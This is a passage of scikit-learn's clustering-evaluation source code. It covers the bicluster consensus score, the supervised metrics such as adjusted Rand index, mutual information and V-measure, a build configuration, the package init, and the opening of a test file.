    result[i, j] is the Jaccard coefficient of a's bicluster i and b's
    bicluster j.

    """
    a_rows, a_cols, b_rows, b_cols = _check_rows_and_columns(a, b)
    n_a = a_rows.shape[0]
    n_b = b_rows.shape[0]
    result = np.array(list(list(similarity(a_rows[i], a_cols[i],
                                           b_rows[j], b_cols[j])
                                for j in range(n_b))
                           for i in range(n_a)))
    return result


def consensus_score(a, b, similarity="jaccard"):
    """The similarity of two sets of biclusters.

    Similarity between individual biclusters is computed. Then the
    best matching between sets is found using the Hungarian algorithm.
    The final score is the sum of similarities divided by the size of
    the larger set.

    Read more in the :ref:`User Guide <biclustering>`.

    Parameters
    ----------
    a : (rows, columns)
        Tuple of row and column indicators for a set of biclusters.

    b : (rows, columns)
        Another set of biclusters like ``a``.

    similarity : string or function, optional, default: "jaccard"
        May be the string "jaccard" to use the Jaccard coefficient, or
        any function that takes four arguments, each of which is a 1d
        indicator vector: (a_rows, a_columns, b_rows, b_columns).

    References
    ----------

    * Hochreiter, Bodenhofer, et. al., 2010. `FABIA: factor analysis
      for bicluster acquisition
      <https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2881408/>`__.

    """
    if similarity == "jaccard":
        similarity = _jaccard
    matrix = _pairwise_similarity(a, b, similarity)
    indices = linear_assignment(1. - matrix)
    n_a = len(a[0])
    n_b = len(b[0])
    return matrix[indices[:, 0], indices[:, 1]].sum() / max(n_a, n_b)






"""Utilities to evaluate the clustering performance of models.

Functions named as *_score return a scalar value to maximize: the higher the
better.
"""

# Authors: Olivier Grisel <olivier.grisel@ensta.org>
#          Wei LI <kuantkid@gmail.com>
#          Diego Molla <dmolla-aliod@gmail.com>
#          Arnaud Fouchet <foucheta@gmail.com>
#          Thierry Guillemot <thierry.guillemot.work@gmail.com>
# License: BSD 3 clause

from math import log

from scipy.misc import comb
from scipy.sparse import coo_matrix
import numpy as np

from .expected_mutual_info_fast import expected_mutual_information
from ...utils.fixes import bincount


def comb2(n):
    # the exact version is faster for k == 2: use it by default globally in
    # this module instead of the float approximate variant
    return comb(n, 2, exact=1)


def check_clusterings(labels_true, labels_pred):
    """Check that the two clusterings matching 1D integer arrays."""
    labels_true = np.asarray(labels_true)
    labels_pred = np.asarray(labels_pred)

    # input checks
    if labels_true.ndim != 1:
        raise ValueError(
            "labels_true must be 1D: shape is %r" % (labels_true.shape,))
    if labels_pred.ndim != 1:
        raise ValueError(
            "labels_pred must be 1D: shape is %r" % (labels_pred.shape,))
    if labels_true.shape != labels_pred.shape:
        raise ValueError(
            "labels_true and labels_pred must have same size, got %d and %d"
            % (labels_true.shape[0], labels_pred.shape[0]))
    return labels_true, labels_pred


def contingency_matrix(labels_true, labels_pred, eps=None, max_n_classes=5000):
    """Build a contingency matrix describing the relationship between labels.

    Parameters
    ----------
    labels_true : int array, shape = [n_samples]
        Ground truth class labels to be used as a reference

    labels_pred : array, shape = [n_samples]
        Cluster labels to evaluate

    eps: None or float
        If a float, that value is added to all values in the contingency
        matrix. This helps to stop NaN propagation.
        If ``None``, nothing is adjusted.

    max_n_classes : int, optional (default=5000)
        Maximal number of classeses handled for contingency_matrix.
        This help to avoid Memory error with regression target
        for mutual_information.

    Returns
    -------
    contingency: array, shape=[n_classes_true, n_classes_pred]
        Matrix :math:`C` such that :math:`C_{i, j}` is the number of samples in
        true class :math:`i` and in predicted class :math:`j`. If
        ``eps is None``, the dtype of this array will be integer. If ``eps`` is
        given, the dtype will be float.
    """
    classes, class_idx = np.unique(labels_true, return_inverse=True)
    clusters, cluster_idx = np.unique(labels_pred, return_inverse=True)
    n_classes = classes.shape[0]
    n_clusters = clusters.shape[0]
    if n_classes > max_n_classes:
        raise ValueError("Too many classes for a clustering metric. If you "
                         "want to increase the limit, pass parameter "
                         "max_n_classes to the scoring function")
    if n_clusters > max_n_classes:
        raise ValueError("Too many clusters for a clustering metric. If you "
                         "want to increase the limit, pass parameter "
                         "max_n_classes to the scoring function")
    # Using coo_matrix to accelerate simple histogram calculation,
    # i.e. bins are consecutive integers
    # Currently, coo_matrix is faster than histogram2d for simple cases
    contingency = coo_matrix((np.ones(class_idx.shape[0]),
                              (class_idx, cluster_idx)),
                             shape=(n_classes, n_clusters),
                             dtype=np.int).toarray()
    if eps is not None:
        # don't use += as contingency is integer
        contingency = contingency + eps
    return contingency


# clustering measures

def adjusted_rand_score(labels_true, labels_pred, max_n_classes=5000):
    """Rand index adjusted for chance.

    The Rand Index computes a similarity measure between two clusterings
    by considering all pairs of samples and counting pairs that are
    assigned in the same or different clusters in the predicted and
    true clusterings.

    The raw RI score is then "adjusted for chance" into the ARI score
    using the following scheme::

        ARI = (RI - Expected_RI) / (max(RI) - Expected_RI)

    The adjusted Rand index is thus ensured to have a value close to
    0.0 for random labeling independently of the number of clusters and
    samples and exactly 1.0 when the clusterings are identical (up to
    a permutation).

    ARI is a symmetric measure::

        adjusted_rand_score(a, b) == adjusted_rand_score(b, a)

    Read more in the :ref:`User Guide <adjusted_rand_score>`.

    Parameters
    ----------
    labels_true : int array, shape = [n_samples]
        Ground truth class labels to be used as a reference

    labels_pred : array, shape = [n_samples]
        Cluster labels to evaluate

    max_n_classes: int, optional (default=5000)
        Maximal number of classes handled by the adjusted_rand_score
        metric. Setting it too high can lead to MemoryError or OS
        freeze

    Returns
    -------
    ari : float
       Similarity score between -1.0 and 1.0. Random labelings have an ARI
       close to 0.0. 1.0 stands for perfect match.

    Examples
    --------

    Perfectly maching labelings have a score of 1 even

      >>> from sklearn.metrics.cluster import adjusted_rand_score
      >>> adjusted_rand_score([0, 0, 1, 1], [0, 0, 1, 1])
      1.0
      >>> adjusted_rand_score([0, 0, 1, 1], [1, 1, 0, 0])
      1.0

    Labelings that assign all classes members to the same clusters
    are complete be not always pure, hence penalized::

      >>> adjusted_rand_score([0, 0, 1, 2], [0, 0, 1, 1])  # doctest: +ELLIPSIS
      0.57...

    ARI is symmetric, so labelings that have pure clusters with members
    coming from the same classes but unnecessary splits are penalized::

      >>> adjusted_rand_score([0, 0, 1, 1], [0, 0, 1, 2])  # doctest: +ELLIPSIS
      0.57...

    If classes members are completely split across different clusters, the
    assignment is totally incomplete, hence the ARI is very low::

      >>> adjusted_rand_score([0, 0, 0, 0], [0, 1, 2, 3])
      0.0

    References
    ----------

    .. [Hubert1985] `L. Hubert and P. Arabie, Comparing Partitions,
      Journal of Classification 1985`
      http://link.springer.com/article/10.1007%2FBF01908075

    .. [wk] https://en.wikipedia.org/wiki/Rand_index#Adjusted_Rand_index

    See also
    --------
    adjusted_mutual_info_score: Adjusted Mutual Information

    """
    labels_true, labels_pred = check_clusterings(labels_true, labels_pred)
    n_samples = labels_true.shape[0]
    classes = np.unique(labels_true)
    clusters = np.unique(labels_pred)
    # Special limit cases: no clustering since the data is not split;
    # or trivial clustering where each document is assigned a unique cluster.
    # These are perfect matches hence return 1.0.
    if (classes.shape[0] == clusters.shape[0] == 1 or
            classes.shape[0] == clusters.shape[0] == 0 or
            classes.shape[0] == clusters.shape[0] == len(labels_true)):
        return 1.0

    contingency = contingency_matrix(labels_true, labels_pred,
                                     max_n_classes=max_n_classes)

    # Compute the ARI using the contingency data
    sum_comb_c = sum(comb2(n_c) for n_c in contingency.sum(axis=1))
    sum_comb_k = sum(comb2(n_k) for n_k in contingency.sum(axis=0))

    sum_comb = sum(comb2(n_ij) for n_ij in contingency.flatten())
    prod_comb = (sum_comb_c * sum_comb_k) / float(comb(n_samples, 2))
    mean_comb = (sum_comb_k + sum_comb_c) / 2.
    return ((sum_comb - prod_comb) / (mean_comb - prod_comb))


def homogeneity_completeness_v_measure(labels_true, labels_pred,
                                       max_n_classes=5000):
    """Compute the homogeneity and completeness and V-Measure scores at once.

    Those metrics are based on normalized conditional entropy measures of
    the clustering labeling to evaluate given the knowledge of a Ground
    Truth class labels of the same samples.

    A clustering result satisfies homogeneity if all of its clusters
    contain only data points which are members of a single class.

    A clustering result satisfies completeness if all the data points
    that are members of a given class are elements of the same cluster.

    Both scores have positive values between 0.0 and 1.0, larger values
    being desirable.

    Those 3 metrics are independent of the absolute values of the labels:
    a permutation of the class or cluster label values won't change the
    score values in any way.

    V-Measure is furthermore symmetric: swapping ``labels_true`` and
    ``label_pred`` will give the same score. This does not hold for
    homogeneity and completeness.

    Read more in the :ref:`User Guide <homogeneity_completeness>`.

    Parameters
    ----------
    labels_true : int array, shape = [n_samples]
        ground truth class labels to be used as a reference

    labels_pred : array, shape = [n_samples]
        cluster labels to evaluate

    max_n_classes: int, optional (default=5000)
        Maximal number of classes handled by the adjusted_rand_score
        metric. Setting it too high can lead to MemoryError or OS
        freeze

    Returns
    -------
    homogeneity: float
       score between 0.0 and 1.0. 1.0 stands for perfectly homogeneous labeling

    completeness: float
       score between 0.0 and 1.0. 1.0 stands for perfectly complete labeling

    v_measure: float
        harmonic mean of the first two

    See also
    --------
    homogeneity_score
    completeness_score
    v_measure_score
    """
    labels_true, labels_pred = check_clusterings(labels_true, labels_pred)

    if len(labels_true) == 0:
        return 1.0, 1.0, 1.0

    entropy_C = entropy(labels_true)
    entropy_K = entropy(labels_pred)

    MI = mutual_info_score(labels_true, labels_pred,
                           max_n_classes=max_n_classes)

    homogeneity = MI / (entropy_C) if entropy_C else 1.0
    completeness = MI / (entropy_K) if entropy_K else 1.0

    if homogeneity + completeness == 0.0:
        v_measure_score = 0.0
    else:
        v_measure_score = (2.0 * homogeneity * completeness /
                           (homogeneity + completeness))

    return homogeneity, completeness, v_measure_score


def homogeneity_score(labels_true, labels_pred, max_n_classes=5000):
    """Homogeneity metric of a cluster labeling given a ground truth.

    A clustering result satisfies homogeneity if all of its clusters
    contain only data points which are members of a single class.

    This metric is independent of the absolute values of the labels:
    a permutation of the class or cluster label values won't change the
    score value in any way.

    This metric is not symmetric: switching ``label_true`` with ``label_pred``
    will return the :func:`completeness_score` which will be different in
    general.

    Read more in the :ref:`User Guide <homogeneity_completeness>`.

    Parameters
    ----------
    labels_true : int array, shape = [n_samples]
        ground truth class labels to be used as a reference

    labels_pred : array, shape = [n_samples]
        cluster labels to evaluate

    max_n_classes: int, optional (default=5000)
        Maximal number of classes handled by the adjusted_rand_score
        metric. Setting it too high can lead to MemoryError or OS
        freeze

    Returns
    -------
    homogeneity: float
       score between 0.0 and 1.0. 1.0 stands for perfectly homogeneous labeling

    References
    ----------

    .. [1] `Andrew Rosenberg and Julia Hirschberg, 2007. V-Measure: A
       conditional entropy-based external cluster evaluation measure
       <http://aclweb.org/anthology/D/D07/D07-1043.pdf>`_

    See also
    --------
    completeness_score
    v_measure_score

    Examples
    --------

    Perfect labelings are homogeneous::

      >>> from sklearn.metrics.cluster import homogeneity_score
      >>> homogeneity_score([0, 0, 1, 1], [1, 1, 0, 0])
      1.0

    Non-perfect labelings that further split classes into more clusters can be
    perfectly homogeneous::

      >>> print("%.6f" % homogeneity_score([0, 0, 1, 1], [0, 0, 1, 2]))
      ...                                                  # doctest: +ELLIPSIS
      1.0...
      >>> print("%.6f" % homogeneity_score([0, 0, 1, 1], [0, 1, 2, 3]))
      ...                                                  # doctest: +ELLIPSIS
      1.0...

    Clusters that include samples from different classes do not make for an
    homogeneous labeling::

      >>> print("%.6f" % homogeneity_score([0, 0, 1, 1], [0, 1, 0, 1]))
      ...                                                  # doctest: +ELLIPSIS
      0.0...
      >>> print("%.6f" % homogeneity_score([0, 0, 1, 1], [0, 0, 0, 0]))
      ...                                                  # doctest: +ELLIPSIS
      0.0...

    """
    return homogeneity_completeness_v_measure(labels_true, labels_pred,
                                              max_n_classes)[0]


def completeness_score(labels_true, labels_pred, max_n_classes=5000):
    """Completeness metric of a cluster labeling given a ground truth.

    A clustering result satisfies completeness if all the data points
    that are members of a given class are elements of the same cluster.

    This metric is independent of the absolute values of the labels:
    a permutation of the class or cluster label values won't change the
    score value in any way.

    This metric is not symmetric: switching ``label_true`` with ``label_pred``
    will return the :func:`homogeneity_score` which will be different in
    general.

    Read more in the :ref:`User Guide <homogeneity_completeness>`.

    Parameters
    ----------
    labels_true : int array, shape = [n_samples]
        ground truth class labels to be used as a reference

    labels_pred : array, shape = [n_samples]
        cluster labels to evaluate

    max_n_classes: int, optional (default=5000)
        Maximal number of classes handled by the adjusted_rand_score
        metric. Setting it too high can lead to MemoryError or OS
        freeze

    Returns
    -------
    completeness: float
       score between 0.0 and 1.0. 1.0 stands for perfectly complete labeling

    References
    ----------

    .. [1] `Andrew Rosenberg and Julia Hirschberg, 2007. V-Measure: A
       conditional entropy-based external cluster evaluation measure
       <http://aclweb.org/anthology/D/D07/D07-1043.pdf>`_

    See also
    --------
    homogeneity_score
    v_measure_score

    Examples
    --------

    Perfect labelings are complete::

      >>> from sklearn.metrics.cluster import completeness_score
      >>> completeness_score([0, 0, 1, 1], [1, 1, 0, 0])
      1.0

    Non-perfect labelings that assign all classes members to the same clusters
    are still complete::

      >>> print(completeness_score([0, 0, 1, 1], [0, 0, 0, 0]))
      1.0
      >>> print(completeness_score([0, 1, 2, 3], [0, 0, 1, 1]))
      1.0

    If classes members are split across different clusters, the
    assignment cannot be complete::

      >>> print(completeness_score([0, 0, 1, 1], [0, 1, 0, 1]))
      0.0
      >>> print(completeness_score([0, 0, 0, 0], [0, 1, 2, 3]))
      0.0

    """
    return homogeneity_completeness_v_measure(labels_true, labels_pred,
                                              max_n_classes)[1]


def v_measure_score(labels_true, labels_pred, max_n_classes=5000):
    """V-measure cluster labeling given a ground truth.

    This score is identical to :func:`normalized_mutual_info_score`.

    The V-measure is the harmonic mean between homogeneity and completeness::

        v = 2 * (homogeneity * completeness) / (homogeneity + completeness)

    This metric is independent of the absolute values of the labels:
    a permutation of the class or cluster label values won't change the
    score value in any way.

    This metric is furthermore symmetric: switching ``label_true`` with
    ``label_pred`` will return the same score value. This can be useful to
    measure the agreement of two independent label assignments strategies
    on the same dataset when the real ground truth is not known.

    Read more in the :ref:`User Guide <homogeneity_completeness>`.

    Parameters
    ----------
    labels_true : int array, shape = [n_samples]
        ground truth class labels to be used as a reference

    labels_pred : array, shape = [n_samples]
        cluster labels to evaluate

    max_n_classes: int, optional (default=5000)
        Maximal number of classes handled by the adjusted_rand_score
        metric. Setting it too high can lead to MemoryError or OS
        freeze

    Returns
    -------
    v_measure: float
       score between 0.0 and 1.0. 1.0 stands for perfectly complete labeling

    References
    ----------

    .. [1] `Andrew Rosenberg and Julia Hirschberg, 2007. V-Measure: A
       conditional entropy-based external cluster evaluation measure
       <http://aclweb.org/anthology/D/D07/D07-1043.pdf>`_

    See also
    --------
    homogeneity_score
    completeness_score

    Examples
    --------

    Perfect labelings are both homogeneous and complete, hence have score 1.0::

      >>> from sklearn.metrics.cluster import v_measure_score
      >>> v_measure_score([0, 0, 1, 1], [0, 0, 1, 1])
      1.0
      >>> v_measure_score([0, 0, 1, 1], [1, 1, 0, 0])
      1.0

    Labelings that assign all classes members to the same clusters
    are complete be not homogeneous, hence penalized::

      >>> print("%.6f" % v_measure_score([0, 0, 1, 2], [0, 0, 1, 1]))
      ...                                                  # doctest: +ELLIPSIS
      0.8...
      >>> print("%.6f" % v_measure_score([0, 1, 2, 3], [0, 0, 1, 1]))
      ...                                                  # doctest: +ELLIPSIS
      0.66...

    Labelings that have pure clusters with members coming from the same
    classes are homogeneous but un-necessary splits harms completeness
    and thus penalize V-measure as well::

      >>> print("%.6f" % v_measure_score([0, 0, 1, 1], [0, 0, 1, 2]))
      ...                                                  # doctest: +ELLIPSIS
      0.8...
      >>> print("%.6f" % v_measure_score([0, 0, 1, 1], [0, 1, 2, 3]))
      ...                                                  # doctest: +ELLIPSIS
      0.66...

    If classes members are completely split across different clusters,
    the assignment is totally incomplete, hence the V-Measure is null::

      >>> print("%.6f" % v_measure_score([0, 0, 0, 0], [0, 1, 2, 3]))
      ...                                                  # doctest: +ELLIPSIS
      0.0...

    Clusters that include samples from totally different classes totally
    destroy the homogeneity of the labeling, hence::

      >>> print("%.6f" % v_measure_score([0, 0, 1, 1], [0, 0, 0, 0]))
      ...                                                  # doctest: +ELLIPSIS
      0.0...

    """
    return homogeneity_completeness_v_measure(labels_true, labels_pred,
                                              max_n_classes)[2]


def mutual_info_score(labels_true, labels_pred, contingency=None,
                      max_n_classes=5000):
    """Mutual Information between two clusterings.

    The Mutual Information is a measure of the similarity between two labels of
    the same data. Where :math:`P(i)` is the probability of a random sample
    occurring in cluster :math:`U_i` and :math:`P'(j)` is the probability of a
    random sample occurring in cluster :math:`V_j`, the Mutual Information
    between clusterings :math:`U` and :math:`V` is given as:

    .. math::

        MI(U,V)=\sum_{i=1}^R \sum_{j=1}^C P(i,j)\log\\frac{P(i,j)}{P(i)P'(j)}

    This is equal to the Kullback-Leibler divergence of the joint distribution
    with the product distribution of the marginals.

    This metric is independent of the absolute values of the labels:
    a permutation of the class or cluster label values won't change the
    score value in any way.

    This metric is furthermore symmetric: switching ``label_true`` with
    ``label_pred`` will return the same score value. This can be useful to
    measure the agreement of two independent label assignments strategies
    on the same dataset when the real ground truth is not known.

    Read more in the :ref:`User Guide <mutual_info_score>`.

    Parameters
    ----------
    labels_true : int array, shape = [n_samples]
        A clustering of the data into disjoint subsets.

    labels_pred : array, shape = [n_samples]
        A clustering of the data into disjoint subsets.

    contingency: None or array, shape = [n_classes_true, n_classes_pred]
        A contingency matrix given by the :func:`contingency_matrix` function.
        If value is ``None``, it will be computed, otherwise the given value is
        used, with ``labels_true`` and ``labels_pred`` ignored.

    max_n_classes: int, optional (default=5000)
        Maximal number of classes handled by the mutual_info_score
        metric. Setting it too high can lead to MemoryError or OS
        freeze

    Returns
    -------
    mi: float
       Mutual information, a non-negative value

    See also
    --------
    adjusted_mutual_info_score: Adjusted against chance Mutual Information
    normalized_mutual_info_score: Normalized Mutual Information
    """
    if contingency is None:
        labels_true, labels_pred = check_clusterings(labels_true, labels_pred)
        contingency = contingency_matrix(labels_true, labels_pred,
                                         max_n_classes=max_n_classes)
    contingency = np.array(contingency, dtype='float')
    contingency_sum = np.sum(contingency)
    pi = np.sum(contingency, axis=1)
    pj = np.sum(contingency, axis=0)
    outer = np.outer(pi, pj)
    nnz = contingency != 0.0
    # normalized contingency
    contingency_nm = contingency[nnz]
    log_contingency_nm = np.log(contingency_nm)
    contingency_nm /= contingency_sum
    # log(a / b) should be calculated as log(a) - log(b) for
    # possible loss of precision
    log_outer = -np.log(outer[nnz]) + log(pi.sum()) + log(pj.sum())
    mi = (contingency_nm * (log_contingency_nm - log(contingency_sum)) +
          contingency_nm * log_outer)
    return mi.sum()


def adjusted_mutual_info_score(labels_true, labels_pred, max_n_classes=5000):
    """Adjusted Mutual Information between two clusterings.

    Adjusted Mutual Information (AMI) is an adjustment of the Mutual
    Information (MI) score to account for chance. It accounts for the fact that
    the MI is generally higher for two clusterings with a larger number of
    clusters, regardless of whether there is actually more information shared.
    For two clusterings :math:`U` and :math:`V`, the AMI is given as::

        AMI(U, V) = [MI(U, V) - E(MI(U, V))] / [max(H(U), H(V)) - E(MI(U, V))]

    This metric is independent of the absolute values of the labels:
    a permutation of the class or cluster label values won't change the
    score value in any way.

    This metric is furthermore symmetric: switching ``label_true`` with
    ``label_pred`` will return the same score value. This can be useful to
    measure the agreement of two independent label assignments strategies
    on the same dataset when the real ground truth is not known.

    Be mindful that this function is an order of magnitude slower than other
    metrics, such as the Adjusted Rand Index.

    Read more in the :ref:`User Guide <mutual_info_score>`.

    Parameters
    ----------
    labels_true : int array, shape = [n_samples]
        A clustering of the data into disjoint subsets.

    labels_pred : array, shape = [n_samples]
        A clustering of the data into disjoint subsets.

    max_n_classes: int, optional (default=5000)
        Maximal number of classes handled by the adjusted_rand_score
        metric. Setting it too high can lead to MemoryError or OS
        freeze

    Returns
    -------
    ami: float(upperlimited by 1.0)
       The AMI returns a value of 1 when the two partitions are identical
       (ie perfectly matched). Random partitions (independent labellings) have
       an expected AMI around 0 on average hence can be negative.

    See also
    --------
    adjusted_rand_score: Adjusted Rand Index
    mutual_information_score: Mutual Information (not adjusted for chance)

    Examples
    --------

    Perfect labelings are both homogeneous and complete, hence have
    score 1.0::

      >>> from sklearn.metrics.cluster import adjusted_mutual_info_score
      >>> adjusted_mutual_info_score([0, 0, 1, 1], [0, 0, 1, 1])
      1.0
      >>> adjusted_mutual_info_score([0, 0, 1, 1], [1, 1, 0, 0])
      1.0

    If classes members are completely split across different clusters,
    the assignment is totally in-complete, hence the AMI is null::

      >>> adjusted_mutual_info_score([0, 0, 0, 0], [0, 1, 2, 3])
      0.0

    References
    ----------
    .. [1] `Vinh, Epps, and Bailey, (2010). Information Theoretic Measures for
       Clusterings Comparison: Variants, Properties, Normalization and
       Correction for Chance, JMLR
       <http://jmlr.csail.mit.edu/papers/volume11/vinh10a/vinh10a.pdf>`_

    .. [2] `Wikipedia entry for the Adjusted Mutual Information
       <https://en.wikipedia.org/wiki/Adjusted_Mutual_Information>`_

    """
    labels_true, labels_pred = check_clusterings(labels_true, labels_pred)
    n_samples = labels_true.shape[0]
    classes = np.unique(labels_true)
    clusters = np.unique(labels_pred)
    # Special limit cases: no clustering since the data is not split.
    # This is a perfect match hence return 1.0.
    if (classes.shape[0] == clusters.shape[0] == 1 or
            classes.shape[0] == clusters.shape[0] == 0):
        return 1.0
    contingency = contingency_matrix(labels_true, labels_pred,
                                     max_n_classes=max_n_classes)
    contingency = np.array(contingency, dtype='float')
    # Calculate the MI for the two clusterings
    mi = mutual_info_score(labels_true, labels_pred,
                           contingency=contingency)
    # Calculate the expected value for the mutual information
    emi = expected_mutual_information(contingency, n_samples)
    # Calculate entropy for each labeling
    h_true, h_pred = entropy(labels_true), entropy(labels_pred)
    ami = (mi - emi) / (max(h_true, h_pred) - emi)
    return ami


def normalized_mutual_info_score(labels_true, labels_pred, max_n_classes=5000):
    """Normalized Mutual Information between two clusterings.

    Normalized Mutual Information (NMI) is an normalization of the Mutual
    Information (MI) score to scale the results between 0 (no mutual
    information) and 1 (perfect correlation). In this function, mutual
    information is normalized by ``sqrt(H(labels_true) * H(labels_pred))``

    This measure is not adjusted for chance. Therefore
    :func:`adjusted_mustual_info_score` might be preferred.

    This metric is independent of the absolute values of the labels:
    a permutation of the class or cluster label values won't change the
    score value in any way.

    This metric is furthermore symmetric: switching ``label_true`` with
    ``label_pred`` will return the same score value. This can be useful to
    measure the agreement of two independent label assignments strategies
    on the same dataset when the real ground truth is not known.

    Read more in the :ref:`User Guide <mutual_info_score>`.

    Parameters
    ----------
    labels_true : int array, shape = [n_samples]
        A clustering of the data into disjoint subsets.

    labels_pred : array, shape = [n_samples]
        A clustering of the data into disjoint subsets.

    max_n_classes: int, optional (default=5000)
        Maximal number of classes handled by the adjusted_rand_score
        metric. Setting it too high can lead to MemoryError or OS
        freeze

    Returns
    -------
    nmi: float
       score between 0.0 and 1.0. 1.0 stands for perfectly complete labeling

    See also
    --------
    adjusted_rand_score: Adjusted Rand Index
    adjusted_mutual_info_score: Adjusted Mutual Information (adjusted
        against chance)

    Examples
    --------

    Perfect labelings are both homogeneous and complete, hence have
    score 1.0::

      >>> from sklearn.metrics.cluster import normalized_mutual_info_score
      >>> normalized_mutual_info_score([0, 0, 1, 1], [0, 0, 1, 1])
      1.0
      >>> normalized_mutual_info_score([0, 0, 1, 1], [1, 1, 0, 0])
      1.0

    If classes members are completely split across different clusters,
    the assignment is totally in-complete, hence the NMI is null::

      >>> normalized_mutual_info_score([0, 0, 0, 0], [0, 1, 2, 3])
      0.0

    """
    labels_true, labels_pred = check_clusterings(labels_true, labels_pred)
    classes = np.unique(labels_true)
    clusters = np.unique(labels_pred)
    # Special limit cases: no clustering since the data is not split.
    # This is a perfect match hence return 1.0.
    if (classes.shape[0] == clusters.shape[0] == 1 or
            classes.shape[0] == clusters.shape[0] == 0):
        return 1.0
    contingency = contingency_matrix(labels_true, labels_pred,
                                     max_n_classes=max_n_classes)
    contingency = np.array(contingency, dtype='float')
    # Calculate the MI for the two clusterings
    mi = mutual_info_score(labels_true, labels_pred,
                           contingency=contingency)
    # Calculate the expected value for the mutual information
    # Calculate entropy for each labeling
    h_true, h_pred = entropy(labels_true), entropy(labels_pred)
    nmi = mi / max(np.sqrt(h_true * h_pred), 1e-10)
    return nmi


def fowlkes_mallows_score(labels_true, labels_pred, max_n_classes=5000):
    """Measure the similarity of two clusterings of a set of points.

    The Fowlkes-Mallows index (FMI) is defined as the geometric mean between of
    the precision and recall::

        FMI = TP / sqrt((TP + FP) * (TP + FN))

    Where ``TP`` is the number of **True Positive** (i.e. the number of pair of
    points that belongs in the same clusters in both ``labels_true`` and
    ``labels_pred``), ``FP`` is the number of **False Positive** (i.e. the
    number of pair of points that belongs in the same clusters in
    ``labels_true`` and not in ``labels_pred``) and ``FN`` is the number of
    **False Negative** (i.e the number of pair of points that belongs in the
    same clusters in ``labels_pred`` and not in ``labels_True``).

    The score ranges from 0 to 1. A high value indicates a good similarity
    between two clusters.

    Read more in the :ref:`User Guide <fowlkes_mallows_scores>`.

    Parameters
    ----------
    labels_true : int array, shape = (``n_samples``,)
        A clustering of the data into disjoint subsets.

    labels_pred : array, shape = (``n_samples``, )
        A clustering of the data into disjoint subsets.

    max_n_classes : int, optional (default=5000)
        Maximal number of classes handled by the Fowlkes-Mallows
        metric. Setting it too high can lead to MemoryError or OS
        freeze

    Returns
    -------
    score : float
       The resulting Fowlkes-Mallows score.

    Examples
    --------

    Perfect labelings are both homogeneous and complete, hence have
    score 1.0::

      >>> from sklearn.metrics.cluster import fowlkes_mallows_score
      >>> fowlkes_mallows_score([0, 0, 1, 1], [0, 0, 1, 1])
      1.0
      >>> fowlkes_mallows_score([0, 0, 1, 1], [1, 1, 0, 0])
      1.0

    If classes members are completely split across different clusters,
    the assignment is totally random, hence the FMI is null::

      >>> fowlkes_mallows_score([0, 0, 0, 0], [0, 1, 2, 3])
      0.0

    References
    ----------
    .. [1] `E. B. Fowkles and C. L. Mallows, 1983. "A method for comparing two
       hierarchical clusterings". Journal of the American Statistical
       Association
       <http://wildfire.stat.ucla.edu/pdflibrary/fowlkes.pdf>`_

    .. [2] `Wikipedia entry for the Fowlkes-Mallows Index
           <https://en.wikipedia.org/wiki/Fowlkes-Mallows_index>`_
    """
    labels_true, labels_pred = check_clusterings(labels_true, labels_pred,)
    n_samples, = labels_true.shape

    c = contingency_matrix(labels_true, labels_pred,
                           max_n_classes=max_n_classes)
    tk = np.dot(c.ravel(), c.ravel()) - n_samples
    pk = np.sum(np.sum(c, axis=0) ** 2) - n_samples
    qk = np.sum(np.sum(c, axis=1) ** 2) - n_samples

    return tk / np.sqrt(pk * qk) if tk != 0. else 0.


def entropy(labels):
    """Calculates the entropy for a labeling."""
    if len(labels) == 0:
        return 1.0
    label_idx = np.unique(labels, return_inverse=True)[1]
    pi = bincount(label_idx).astype(np.float)
    pi = pi[pi > 0]
    pi_sum = np.sum(pi)
    # log(a / b) should be calculated as log(a) - log(b) for
    # possible loss of precision
    return -np.sum((pi / pi_sum) * (np.log(pi) - log(pi_sum)))






import os

import numpy
from numpy.distutils.misc_util import Configuration


def configuration(parent_package="", top_path=None):
    config = Configuration("metrics/cluster", parent_package, top_path)
    libraries = []
    if os.name == 'posix':
        libraries.append('m')
    config.add_extension("expected_mutual_info_fast",
                         sources=["expected_mutual_info_fast.c"],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_subpackage("tests")

    return config

if __name__ == "__main__":
    from numpy.distutils.core import setup
    setup(**configuration().todict())






"""
The :mod:`sklearn.metrics.cluster` submodule contains evaluation metrics for
cluster analysis results. There are two forms of evaluation:

- supervised, which uses a ground truth class values for each sample.
- unsupervised, which does not and measures the 'quality' of the model itself.
"""
from .supervised import adjusted_mutual_info_score
from .supervised import normalized_mutual_info_score
from .supervised import adjusted_rand_score
from .supervised import completeness_score
from .supervised import contingency_matrix
from .supervised import expected_mutual_information
from .supervised import homogeneity_completeness_v_measure
from .supervised import homogeneity_score
from .supervised import mutual_info_score
from .supervised import v_measure_score
from .supervised import fowlkes_mallows_score
from .supervised import entropy
from .unsupervised import silhouette_samples
from .unsupervised import silhouette_score
from .unsupervised import calinski_harabaz_score
from .bicluster import consensus_score

__all__ = ["adjusted_mutual_info_score", "normalized_mutual_info_score",
           "adjusted_rand_score", "completeness_score", "contingency_matrix",
           "expected_mutual_information", "homogeneity_completeness_v_measure",
           "homogeneity_score", "mutual_info_score", "v_measure_score",
           "fowlkes_mallows_score", "entropy", "silhouette_samples",
           "silhouette_score", "calinski_harabaz_score", "consensus_score"]






import numpy as np

from sklearn.metrics.cluster import adjusted_rand_score
from sklearn.metrics.cluster import homogeneity_score
from sklearn.metrics.cluster import completeness_score
from sklearn.metrics.cluster import v_measure_score
from sklearn.metrics.cluster import homogeneity_completeness_v_measure
from sklearn.metrics.cluster import adjusted_mutual_info_score
from sklearn.metrics.cluster import normalized_mutual_info_score
from sklearn.metrics.cluster import mutual_info_score
from sklearn.metrics.cluster import expected_mutual_information
from sklearn.metrics.cluster import contingency_matrix
from sklearn.metrics.cluster import fowlkes_mallows_score
from sklearn.metrics.cluster import entropy

from sklearn.utils.testing import assert_raise_message
from nose.tools import assert_almost_equal
from nose.tools import assert_equal
from numpy.testing import assert_array_almost_equal


score_funcs = [
    adjusted_rand_score,
    homogeneity_score,
    completeness_score,
    v_measure_score,
    adjusted_mutual_info_score,
    normalized_mutual_info_score,
]


def test_error_messages_on_wrong_input():
    for score_func in score_funcs:
        expected = ('labels_true and labels_pred must have same size,'
                    ' got 2 and 3')
        assert_raise_message(ValueError, expected, score_func,
                             [0, 1], [1, 1, 1])

        expected = "labels_true must be 1D: shape is (2"
        assert_raise_message(ValueError, expected, score_func,
                             [[0, 1], [1, 0]], [1, 1, 1])

        expected = "labels_pred must be 1D: shape is (2"
